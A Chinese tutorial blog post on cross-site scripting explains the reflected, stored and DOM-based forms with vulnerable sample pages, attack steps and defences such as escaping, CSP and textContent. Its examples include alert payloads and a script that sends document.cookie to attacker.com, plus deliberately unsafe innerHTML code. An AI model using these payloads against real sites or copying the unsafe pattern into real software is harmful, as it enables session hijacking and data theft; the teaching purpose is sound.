当前位置： 首页 > news >正文

常见的Web安全漏洞——XSS

news 2025/7/6 1:41:44

在这里插入图片描述

概念

跨站脚本攻击(XSS），指攻击者通过篡改网页，嵌入恶意脚本程序，在用户浏览网页时，控制用户浏览器进行恶意操作。

  • XXS的分类
    1. 反射型XSS
    2. 存储型XSS
    3. DOM型XSS

原理

反射型XSS

接收用户提交的访问者的姓名，并返回给浏览器。

  • 漏洞利用步骤
    1. 黑客利用服务器上的XSS漏洞，构造恶意的链接，发送给受害者，引诱受害者点击这个链接。
    2. 受害者点击该链接，向服务器发送包含恶意js代码的请求。
    3. 服务器接收受害发送的请求，没有对参数做检查和过滤，直接将恶意的js代码响应给受害者。
    4. 受害者收到服务器响应回来的恶意的js代码，并由浏览器解析执行，受到攻击！
      一些信息的搜索框，可能存在反射型的XSS。
      在这里插入图片描述

存储型XSS

  • 存储型xss的利用步骤
    1. 黑客利用服务器上的XSS漏洞，提交恶意的js代码，服务器将恶意代码存储到数据库;
    2. 受害者(其他用户)访问服务器的某个页面，而这个页码会使用到数据库的数据。服务器从数据库获取恶意的js代码，并返回给受害者;
      存储型XSS漏洞利用条件比较简单，危害面也比较广，比反射型XSS更受到关注！
      在这里插入图片描述

DOM型XSS

  • DOM型的XSS攻击步骤
    1. 发现漏洞：攻击者定位目标页面中未验证或未转义的用户输入源（如 URL 参数、document.referrer 等）。
    2. 构造恶意输入：攻击者通过输入或 URL 构造恶意脚本（如 ）。
    3. 引诱用户访问：通过发送恶意链接或嵌入 iframe 等方式诱导用户访问目标页面。
    4. 恶意脚本执行：浏览器解析页面时，动态执行注入的脚本，达到窃取数据、伪造行为等目的。

攻击场景

反射型XSS

  • 常见场景：
    • 搜索框：搜索关键字未经过滤直接显示在结果页面上。
    • 错误提示页面：参数中的值被直接反射到错误信息中。
    • 登录页面：登录失败时，直接将用户输入显示在页面中。
  • 攻击例子：
    1. 寻找漏洞：一个搜索页面在 URL 参数中接收搜索关键词并直接反射到页面中，代码如下：
<!DOCTYPE html>
<html>
<head><title>Search</title>
</head>
<body><h1>Search Results</h1><p>You searched for: <span id="search-query"></span></p><script>let query = new URLSearchParams(window.location.search).get('q');document.getElementById('search-query').innerHTML = query;</script>
</body>
</html>

2. 恶意链接：攻击者构造恶意链接：

http://example.com/search?q=<script>alert('XSS')</script>

3. 用户点击链接1. 用户被诱导点击恶意链接。 2. 页面执行时，<script>alert('XSS')</script> 被插入到 DOM 中并执行。
4. 攻击结果1. 显示弹窗 XSS。2. 如果攻击者进一步注入恶意代码（如窃取 Cookies）：(如下脚本)，用户敏感信息可能被泄露。

<script>fetch('http://attacker.com?cookie=' + document.cookie)</script>
  • 防御措施
    1. 输出转义：对所有反射到页面中的数据进行 HTML 转义。
    2. 输入验证：限制用户输入内容的格式。
    3. 使用 CSP：通过 Content Security Policy 限制脚本执行。
    4. 避免动态 HTML 注入：使用安全的 DOM 操作方法（如 textContent）。

存储型XSS

  • 攻击场景
    • 评论系统：用户提交的评论内容被直接存储并在页面上显示。
    • 用户资料页：攻击者在个人签名、昵称等字段中存储恶意代码。
    • 反馈系统：用户提交的反馈被管理后台读取并直接渲染。
    • 消息系统：恶意消息被存储，目标用户查看时触发脚本。
  • 攻击例子
  1. 寻找漏洞：一个博客的评论功能，用户提交的评论内容被存储在数据库中，并在页面加载时直接渲染到前端。
    • 后端代码未过滤用户输入，将评论直接存入数据库。
    • 前端代码直接输出评论内容到页面。
  2. 恶意脚本提交：攻击者在评论表单中输入恶意代码，提交评论后，服务器将其存储到数据库中。
<script>fetch('http://attacker.com/?cookie=' + document.cookie)</script>
  1. 恶意代码触发：其他用户访问博客页面时，评论内容被加载到页面中：浏览器解析 HTML 时，执行了攻击者的脚本。
<div class="comment"><p><script>fetch('http://attacker.com/?cookie=' + document.cookie)</script></p>
</div>
  1. 攻击结果
    - 用户浏览器中的 Cookies 被窃取，可能导致会话劫持。
    - 恶意脚本可能进一步扩展攻击范围（如在页面上插入伪造的登录表单）。
  • 防御措施
    • 输出转义：对输出到页面的内容进行 HTML 转义。例如，将

DOM型XSS

  • 攻击场景
    • URL 参数处理：页面通过 JavaScript 从 URL 中读取参数并直接操作 DOM。
    • Hash 值解析：单页应用（SPA）中，直接根据 window.location.hash 更新页面内容。
    • 前端渲染模板：动态将用户输入插入到页面中，而未进行任何安全处理。
    • 本地存储或 Cookie：前端代码直接使用未验证的存储内容操作 DOM。
  • 攻击例子
    1. 寻找漏洞：某网页会根据 URL 参数显示欢迎消息：
<!DOCTYPE html>
<html>
<body><h1 id="welcome-message"></h1><script>// 从 URL 获取用户输入const user = new URLSearchParams(window.location.search).get('user');// 直接插入到 DOMdocument.getElementById('welcome-message').innerHTML = `Welcome, ${user}!`;</script>
</body>
</html>
  1. 恶意链接：攻击者构造一个恶意 URL：
http://example.com?user=<script>alert('XSS')</script>
  1. 执行过程: 用户访问此链接，JavaScript 动态解析 URL 参数，将其内容插入到页面中:
<h1 id="welcome-message">Welcome, <script>alert('XSS')</script>!</h1>
  1. 浏览器解析 DOM 时执行了注入的脚本，触发弹窗或其他攻击。
  2. 攻击结果
    - 窃取信息：通过恶意代码读取 document.cookie 或用户输入。
    - 伪造操作：利用脚本模拟用户行为（如提交表单）。
    - 传播攻击：在受害者环境中植入更多恶意代码。
  • 防御措施
    • 避免直接操作 DOM：使用安全的 DOM 操作方式（如 textContent 而非 innerHTML）。
    • 对输入进行验证和转义：
    • 验证：限制输入的内容格式。
    • 转义：将特殊字符（如 <、>, "）转义为安全的 HTML 实体。
    • 使用安全的前端框架：如 Vue、React，这些框架默认对动态内容进行转义。
    • CSP（内容安全策略）：通过限制脚本来源减少恶意代码执行的风险。
    • 严格的前端代码审计：确保任何动态内容渲染均经过安全处理。

参考文档
https://blog.csdn.net/qq_51780583/article/details/136960951
https://blog.csdn.net/m0_73531061/article/details/134874571

相关文章：

常见的Web安全漏洞——XSS

概念 跨站脚本攻击(XSS&#xff09;&#xff0c;指攻击者通过篡改网页&#xff0c;嵌入恶意脚本程序&#xff0c;在用户浏览网页时&#xff0c;控制用户浏览器进行恶意操作。 XXS的分类 反射型XSS存储型XSSDOM型XSS 原理 反射型XSS 接收用户提交的访问者的姓名&#xff0…...

编程日记 2024/12/3 8:59:26

liteflow 架构详解

LiteFlow 是一个轻量级的、高性能的流程编排框架&#xff0c;主要用于解决复杂业务流程的编排问题。它提供了一种简单而强大的方式来定义和执行复杂的业务流程。下面是 LiteFlow 的架构详解&#xff1a; 核心概念 组件&#xff08;Component&#xff09;&#xff1a;是流程中…...

编程日记 2024/12/3 8:54:12

国产麒麟操作系统上运行LabVIEW

LabVIEW 目前并没有官方支持直接在国产麒麟操作系统&#xff08;Kylin OS&#xff09;上运行。LabVIEW 是由美国国家仪器公司&#xff08;NI&#xff09;开发的软件&#xff0c;主要面向 Windows 和 Linux 操作系统。麒麟操作系统虽然基于 Linux&#xff0c;但其内核和一些软件…...

编程日记 2024/12/3 8:53:07

【C语言】结构体（一）

一&#xff0c;是什么 结构体就是一些值的集合&#xff0c;这些值称为成员变量。 结构体的每个成员可以是不同类型的变量。说到集合&#xff0c;数组也是集合&#xff0c;但是不同的是数组只能是相同类型元素的集合。 二&#xff0c;结构体的声明 struct tag {   member1;…...

编程日记 2024/12/3 8:52:06

C++《set与map》

在之前我们已经学习了解了CSTL当中的string和vector等容器&#xff0c;现在我们已经懂得了这些容器提供的接口该如何使用&#xff0c;并且了解了这些容器的底层结构。接下来我们在本篇当中将继续学习STL内的容器set与map&#xff0c;在此这两个容器与我们之前学习的容器提供的成…...

编程日记 2024/12/3 8:51:04

深度学习-52-AI应用实战之基于Yolo8的目标检测自动标注

文章目录 1 YOLOv81.1 YOLOV8的不同版本1.2 可检测类别1.3 数据说明1.4 网络结构1.5 算法核心步骤2 目标检测的基本原理2.1 安装yolov8(cpu版本)2.2 图片检测2.3 视频检测2.4 自动标注2.5 保存标注结果3 参考附录1 YOLOv8 YOLOv8是一种前沿的计算机视觉技术，它基于先前YOLO版…...

编程日记 2024/12/3 8:49:02

【Elasticsearch】05-DSL查询

1. 查询所有 es最多只支持查询1万条数据。 # 查询所有 GET /items/_search {"query": {"match_all": {}} }2. 叶子查询 全文检索 会对结果进行相关度打分。 # 检索单个字段 GET /items/_search {"query": {"match": {"name&…...

编程日记 2024/12/3 8:47:59

qml项目创建的区别

在Qt框架中&#xff0c;你可以使用不同的模板来创建应用程序。你提到的这几个项目类型主要针对的是Qt的不同模块和用户界面技术。下面我将分别解释这些项目类型的区别&#xff1a; 根据你提供的信息&#xff0c;以下是每个项目模板的详细描述和适用场景&#xff1a; Qt Widgets…...

编程日记 2024/12/3 8:46:57

.NET8/.NETCore 依赖注入：自动注入项目中所有接口和自定义类

.NET8/.NETCore 依赖接口注入&#xff1a;自动注入项目中所有接口和自定义类 目录 自定义依赖接口扩展类&#xff1a;HostExtensions AddInjectionServices方法GlobalAssemblies 全局静态类测试 自定义依赖接口 需要依赖注入的类必须实现以下接口。 C# /// <summary>…...

编程日记 2024/12/3 8:38:51

Flutter：city_pickers省市区三级联动

pubspec.yaml city_pickers插件地址 自己用的GetBuilder页面模板 cupertino_icons: ^1.0.8 # 省市区城市选择 city_pickers: ^1.3.0编辑地址页面&#xff1a;controller class AddressEditController extends GetxController {AddressEditController();Future<Result?>…...

编程日记 2024/12/3 8:28:38

Kafka-Connect自带示例

一、上下文 《Kafka-Connect》中已经阐述了Kafka-Connect的理论知识&#xff0c;为了更生动的理解它&#xff0c;我们今天通过官方的一个小例子来感受下它的妙用。 二、创建topic kafka-topics --create --topic connect-test --bootstrap-server cdh1:9092 --partitions 2 -…...

编程日记 2024/12/3 8:26:36

Hbase应用案例 随机号码生成

Hbase应用案例1 随机号码生成 在Hbase中插入如下格式的数据&#xff0c;数据内容随机生成 名称示例说明phonenumber158randomrowkey&#xff0c;号码dnum199randomcolumn&#xff0c;另一位通话者lengthrandomcolumn&#xff0c;时长valuerandomcolumn&#xff0c;接收或拨打…...

编程日记 2024/12/3 8:25:35

论文阅读——量子退火Experimental signature of programmable quantum annealing

摘要&#xff1a;量子退火是一种借助量子绝热演化解决复杂优化问题的通用策略。分析和数值证据均表明&#xff0c;在理想化的封闭系统条件下&#xff0c;量子退火可以胜过基于经典热化的算法&#xff08;例如模拟退火&#xff09;。当前设计的量子退火装置的退相干时间比绝热演…...

编程日记 2024/12/3 8:22:32

（长期更新）《零基础入门 ArcGIS(ArcMap) 》实验二----网络分析（超超超详细！！！）

相信实验一大家已经完成了&#xff0c;对Arcgis已进一步熟悉了&#xff0c;现在开启第二个实验 ArcMap实验--网络分析 目录 ArcMap实验--网络分析 1.1 网络分析介绍 1.2 实验内容及目的 1.2.1 实验内容 1.2.2 实验目的 2.2 实验方案 2.3 实验流程 2.3.1 实验准备 2.3.2 空间校正…...

编程日记 2024/12/3 8:20:29

go语言 Pool实现资源池管理数据库连接资源或其他常用需要共享的资源

go Pool Pool用于展示如何使用有缓冲的通道实现资源池&#xff0c;来管理可以在任意数量的goroutine之间共享及独立使用的资源。这种模式在需要共享一组静态资源的情况&#xff08;如共享数据库连接或者内存缓冲区&#xff09;下非 常有用。如果goroutine需要从池里得到这些资…...

编程日记 2024/12/3 8:18:27

mysql一个事务最少几次IO操作

事务的IO操作过程 开始事务&#xff1a;用户发起一个事务&#xff0c;例如执行START TRANSACTION;&#xff0c;此时事务开始。读取和修改数据&#xff1a;用户读取和修改数据时&#xff0c;InnoDB首先从Buffer Pool查找所需的数据页。如果数据页不在Buffer Pool中&#xff0c;…...

编程日记 2024/12/3 8:17:25

运输层总结

运输层协议&#xff1a;端到端协议 面向连接的传输控制协议 TCP无连接的用户数据报协议 UDP - 主要任务&#xff1a;为相 互通信的应用进程 提供 逻辑通信服务 - 屏蔽&#xff1a;运输层向高层用户 屏蔽 了下面网络核心的细节&#xff08;如网络拓扑、所采用 的路由选择协议等…...

编程日记 2024/12/3 8:15:23

【嵌套查询】.NET开源 ORM 框架 SqlSugar 系列

.NET开源 ORM 框架 SqlSugar 系列 【开篇】.NET开源 ORM 框架 SqlSugar 系列【入门必看】.NET开源 ORM 框架 SqlSugar 系列【实体配置】.NET开源 ORM 框架 SqlSugar 系列【Db First】.NET开源 ORM 框架 SqlSugar 系列【Code First】.NET开源 ORM 框架 SqlSugar 系列【数据事务…...

编程日记 2024/12/3 8:13:21

React 前端框架1

一、React 简介 &#xff08;一&#xff09;什么是 React React 是一个用于构建用户界面的 JavaScript 库&#xff0c;由 Facebook 开源并维护。它采用了组件化的开发思想&#xff0c;允许开发者将复杂的 UI 拆分成一个个独立、可复用的小组件&#xff0c;就如同搭积木一般&am…...

编程日记 2024/12/3 8:11:19

【真正离线安装】Adobe Flash Player 32.0.0.156 插件离线安装包下载（无需联网安装）

网上很多人声称并提供的flash离线安装包是需要联网才能安装成功的&#xff0c;其实就是在线安装包&#xff0c;而这里提供的是真正的离线安装包&#xff0c;无需联网即可安装成功。 点击下面地址下载离线安装包&#xff1a; Adobe Flash Player 32.0.0.156 for IE Adobe Fla…...

编程日记 2024/12/3 8:09:17

AI-调查研究-01-正念冥想有用吗？对健康的影响及科学指南

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; &#x1f680; AI篇持续更新中&#xff01;&#xff08;长期更新&#xff09; 目前2025年06月05日更新到&#xff1a; AI炼丹日志-28 - Aud…...

编程新知 2025/6/30 11:49:08

spring：实例工厂方法获取bean

spring处理使用静态工厂方法获取bean实例&#xff0c;也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下&#xff1a; 定义实例工厂类&#xff08;Java代码&#xff09;&#xff0c;定义实例工厂&#xff08;xml&#xff09;&#xff0c;定义调用实例工厂&#xff…...

编程新知 2025/7/5 14:11:59

【分享】推荐一些办公小工具

1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由&#xff1a;大部分的转换软件需要收费&#xff0c;要么功能不齐全&#xff0c;而开会员又用不了几次浪费钱&#xff0c;借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...

编程新知 2025/6/28 13:23:48

基于IDIG-GAN的小样本电机轴承故障诊断

目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) ​梯度归一化（Gradient Normalization）​​ (2) ​判别器梯度间隙正则化（Discriminator Gradient Gap Regularization）​​ (3) ​自注意力机制（Self-Attention）​​ 3. 完整损失函数 二…...

编程新知 2025/6/21 4:07:39

uniapp手机号一键登录保姆级教程（包含前端和后端）

目录 前置条件创建uniapp项目并关联uniClound云空间开启一键登录模块并开通一键登录服务编写云函数并上传部署获取手机号流程(第一种) 前端直接调用云函数获取手机号&#xff08;第三种&#xff09;后台调用云函数获取手机号 错误码常见问题 前置条件 手机安装有sim卡手机开启…...

编程新知 2025/7/4 4:02:29

第7篇：中间件全链路监控与 SQL 性能分析实践

7.1 章节导读 在构建数据库中间件的过程中&#xff0c;可观测性 和 性能分析 是保障系统稳定性与可维护性的核心能力。 特别是在复杂分布式场景中&#xff0c;必须做到&#xff1a; &#x1f50d; 追踪每一条 SQL 的生命周期&#xff08;从入口到数据库执行&#xff09;&#…...

编程新知 2025/6/26 23:27:47

django blank 与 null的区别

1.blank blank控制表单验证时是否允许字段为空 2.null null控制数据库层面是否为空 但是&#xff0c;要注意以下几点&#xff1a; Django的表单验证与null无关&#xff1a;null参数控制的是数据库层面字段是否可以为NULL&#xff0c;而blank参数控制的是Django表单验证时字…...

编程新知 2025/6/16 18:14:24

学习一下用鸿蒙​​DevEco Studio HarmonyOS5实现百度地图

在鸿蒙&#xff08;HarmonyOS5&#xff09;中集成百度地图&#xff0c;可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API&#xff0c;可以构建跨设备的定位、导航和地图展示功能。 ​​1. 鸿蒙环境准备​​ ​​开发工具​​&#xff1a;下载安装 ​​De…...

编程新知 2025/6/16 7:49:31

FFmpeg avformat_open_input函数分析

函数内部的总体流程如下&#xff1a; avformat_open_input 精简后的代码如下&#xff1a; int avformat_open_input(AVFormatContext **ps, const char *filename,ff_const59 AVInputFormat *fmt, AVDictionary **options) {AVFormatContext *s *ps;int i, ret 0;AVDictio…...

编程新知 2025/7/3 21:27:27

智能职业发展系统：AI驱动的职业规划平台技术解析

智能职业发展系统&#xff1a;AI驱动的职业规划平台技术解析 引言&#xff1a;数字时代的职业革命 在当今瞬息万变的就业市场中&#xff0c;传统的职业规划方法已无法满足个人和企业的需求。据统计&#xff0c;全球每年有超过2亿人面临职业转型困境&#xff0c;而企业也因此遭…...

编程新知 2025/6/16 5:23:25